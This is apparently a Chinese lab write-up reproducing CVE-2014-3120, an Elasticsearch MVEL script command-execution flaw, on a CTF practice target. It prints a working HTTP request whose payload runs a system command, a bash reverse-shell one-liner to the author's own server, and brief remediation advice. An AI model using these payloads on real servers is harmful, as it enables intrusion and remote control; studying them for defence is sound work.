漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞

漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞

漏洞原理

老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。
知识点普及：
1、Elasticsearch，是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java语言开发的，并作为Apache许可条款下的开放源码发布，是一种流行的企业级搜索引擎。
2、Lucene，是apache软件基金会4 jakarta项目组的一个子项目，是一个开放源代码的全文检索引擎工具包，但它不是一个完整的全文检索引擎，而是一个全文检索引擎的架构，提供了完整的查询引擎和索引引擎，部分文本分析引擎。
3、沙盒，在计算机安全领域中是一种安全机制，为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源，所有改动对操作系统不会造成任何损失。

漏洞环境

直接借用BMZCTF的靶场

漏洞复现

首先访问环境

使用ElasticSearch的目录创建数据，创建成功将如下图所示：

POST /website/blog/ HTTP/1.1
Host: www.bmzclub.cn:22188
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1634624935
Connection: close
Content-Length: 23

{
  "name": "hello"
}

利用创建好的执行命令：

POST /_search?pretty HTTP/1.1
Host: www.bmzclub.cn:22188
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1634624935
Connection: close
Content-Length: 451

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }

发现命令执行成功了，尝试利用nc反弹shell：

bash -i >& /dev/tcp/自己的vps/9999 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html

执行命令也可以正常实现，复现成功：

整改建议

1. 升级版本

2. 在elasticsearch.yml里配置script.disable_dynamic: true